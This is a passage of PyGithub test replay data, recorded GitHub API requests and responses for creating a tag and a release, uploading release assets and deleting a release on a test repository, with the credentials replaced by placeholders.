'"89d1865c6ce3065f5d8de11015fa1e64"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/releases/28553932'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '8990:3C00:9EDCAC:1796F44:5F0DE81A')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553932","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553932/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28553932/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28553932,"node_id":"MDc6UmVsZWFzZTI4NTUzOTMy","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T17:15:06Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https POST uploads.github.com None /repos/rickrickston123/RepoTest/releases/28553932/assets?label=unit+test+artifact&name=file_name {'Content-Type': 'text/plain', 'Content-Length': '20', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} <_io.BufferedReader name='content.txt'> 201 [('Cache-Control', 'no-cache'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Type', 'application/json; charset=utf-8'), ('Etag', 'W/"42b8433b830cad37e4a616e1e3515b41"'), ('Last-Modified', 'Tue, 14 Jul 2020 17:15:07 GMT'), ('Strict-Transport-Security', 'max-age=31557600'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('X-Content-Type-Options', 'nosniff'), ('X-Frame-Options', 'deny'), ('X-Github-Media-Type', 'github.v3; format=json'), ('X-Xss-Protection', '1; mode=block'), ('Date', 'Tue, 14 Jul 2020 17:15:07 GMT'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', 'AF62:5657:66D590:77CF6C:5F0DE81A')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22874907","id":22874907,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODc0OTA3","name":"file_name","label":"unit test artifact","uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"text/plain","state":"uploaded","size":20,"download_count":0,"created_at":"2020-07-14T17:15:07Z","updated_at":"2020-07-14T17:15:07Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.25.2/file_name"} https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28553932/assets {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:07 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4740'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"dc2735e2970461351763e4296e126db2"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '89A4:6F68:13B555:38A386:5F0DE81B')] [{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22874907","id":22874907,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODc0OTA3","name":"file_name","label":"unit test artifact","uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"text/plain","state":"uploaded","size":20,"download_count":0,"created_at":"2020-07-14T17:15:07Z","updated_at":"2020-07-14T17:15:07Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.25.2/file_name"}] https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28553932 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:08 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4739'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f0d657f03ec72c4c2ad44c8b79606a24"'), ('Last-Modified', 'Tue, 14 Jul 2020 17:15:06 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '89AC:6AD2:11DA575:1E9AC88:5F0DE81B')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553932","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553932/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28553932/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28553932,"node_id":"MDc6UmVsZWFzZTI4NTUzOTMy","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T17:15:06Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22874907","id":22874907,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODc0OTA3","name":"file_name","label":"unit test artifact","uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"text/plain","state":"uploaded","size":20,"download_count":0,"created_at":"2020-07-14T17:15:07Z","updated_at":"2020-07-14T17:15:07Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.25.2/file_name"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https DELETE api.github.com None /repos/rickrickston123/RepoTest/releases/28553932 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:08 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4738'), ('X-RateLimit-Reset', '1594749126'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '89B4:6F68:13B562:38A3AF:5F0DE81C')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GitRelease.testUploadAssetWithName.txt0000644000175100001660000004566214756101563025540 0ustar00runnerdockerhttps GET api.github.com None /repos/rickrickston123/RepoTest/commits {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:10 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4734'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1ecac7ea1780c4d77d519466d2894d79"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:42 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '89D8:3981:9D6C90:15FCECB:5F0DE81E')] [{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","node_id":"MDY6Q29tbWl0Mjc5MDE1Mjg2OjgxM2RhNTI4ZGE0NmVmNGNiYjI4ZDIwMThlYWE2ZDRiM2Q1NmY0MGY=","commit":{"author":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-12T07:34:42Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-07-12T07:34:42Z"},"message":"Initial commit","tree":{"sha":"c56099e10207d5a7021b4485eda0afc18946727a","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees/c56099e10207d5a7021b4485eda0afc18946727a"},"url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfCr0SCRBK7hj4Ov3rIwAAdHIIAEPYazT1x/QUozS6/rF1YLeX\nK50UqPFfnWA1IRwAVdYEy6Nwmb7bNuIeTna/GFi7BybozBOk2HMfQW2dhoZD35FC\nmGTk6mcy+hyaCrO7sGmCGhbVdcY86X3WxrRABzUqBGeo29CnEtjOfPnmBuW5MTNr\nnq3TBU7mjWZi09ivXIrfYWqxCEpMm4vHRPBZSgzuj/IgZLmQccgIyZu4v0GNkGQk\ngVceI/P849EX+rVSG73YAntlZIJaivqgZO5fvsdQjz92PAMM7bAKf1u7Vg4bt4Yw\n0YSAcXrFPky+kPE6CoXjx2uWVdyISs7RRWJS034z64nckExs99eKbCryjhBJwIA=\n=6HU0\n-----END PGP SIGNATURE-----\n","payload":"tree c56099e10207d5a7021b4485eda0afc18946727a\nauthor rickrickston123 <64711998+rickrickston123@users.noreply.github.com> 1594539282 -0700\ncommitter GitHub 1594539282 -0700\n\nInitial commit"}},"url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","html_url":"https://github.com/rickrickston123/RepoTest/commit/813da528da46ef4cbb28d2018eaa6d4b3d56f40f","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f/comments","author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[]}] https POST api.github.com None /repos/rickrickston123/RepoTest/git/tags {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag": "v1.25.2", "message": "tag message", "object": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f", "type": "commit"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:10 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '694'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4733'), ('X-RateLimit-Reset', '1594749125'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"61ad139b149729d167e13aef5f8b2036"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/git/tags/479fd07752bc877e8dd71199efb0fbdf3e36ba3d'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '89E0:3A7E:9638F0:15C42D6:5F0DE81E')] {"node_id":"MDM6VGFnMjc5MDE1Mjg2OjQ3OWZkMDc3NTJiYzg3N2U4ZGQ3MTE5OWVmYjBmYmRmM2UzNmJhM2Q=","sha":"479fd07752bc877e8dd71199efb0fbdf3e36ba3d","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags/479fd07752bc877e8dd71199efb0fbdf3e36ba3d","tagger":{"name":"rickrickston123","email":"64711998+rickrickston123@users.noreply.github.com","date":"2020-07-14T17:15:10Z"},"object":{"sha":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","type":"commit","url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits/813da528da46ef4cbb28d2018eaa6d4b3d56f40f"},"tag":"v1.25.2","message":"tag message","verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}} https POST api.github.com None /repos/rickrickston123/RepoTest/releases {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"tag_name": "v1.25.2", "draft": false, "prerelease": false, "generate_release_notes": false, "name": "release title", "body": "release message", "target_commitish": "813da528da46ef4cbb28d2018eaa6d4b3d56f40f", "make_latest": "true"} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:11 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1839'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4732'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"6f2d83bf7aa6f6914ff9fdf24acb3aeb"'), ('Location', 'https://api.github.com/repos/rickrickston123/RepoTest/releases/28553933'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '89EC:72AE:503A41:C99274:5F0DE81F')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553933","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553933/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28553933/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28553933,"node_id":"MDc6UmVsZWFzZTI4NTUzOTMz","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T17:15:11Z","assets":[],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https POST uploads.github.com None /repos/rickrickston123/RepoTest/releases/28553933/assets?label=&name=foobar.zip {'Content-Length': '140', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/zip'} <_io.BufferedReader name='archive.zip'> 201 [('Cache-Control', 'no-cache'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Type', 'application/json; charset=utf-8'), ('Etag', 'W/"d50899a04858d2a1fc55ed98182efa27"'), ('Last-Modified', 'Tue, 14 Jul 2020 17:15:12 GMT'), ('Strict-Transport-Security', 'max-age=31557600'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('X-Content-Type-Options', 'nosniff'), ('X-Frame-Options', 'deny'), ('X-Github-Media-Type', 'github.v3; format=json'), ('X-Xss-Protection', '1; mode=block'), ('Date', 'Tue, 14 Jul 2020 17:15:12 GMT'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', 'AFC0:33D5:CC066:10237B:5F0DE81F')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22874909","id":22874909,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODc0OTA5","name":"foobar.zip","label":"","uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/zip","state":"uploaded","size":140,"download_count":0,"created_at":"2020-07-14T17:15:11Z","updated_at":"2020-07-14T17:15:12Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.25.2/foobar.zip"} https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28553933 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 17:15:12 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4729'), ('X-RateLimit-Reset', '1594749126'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1374b4bdb49b2bd10b77c6ded8a814a9"'), ('Last-Modified', 'Tue, 14 Jul 2020 17:15:11 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8A02:5C86:8E23BF:151F815:5F0DE820')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553933","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28553933/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28553933/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28553933,"node_id":"MDc6UmVsZWFzZTI4NTUzOTMz","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release 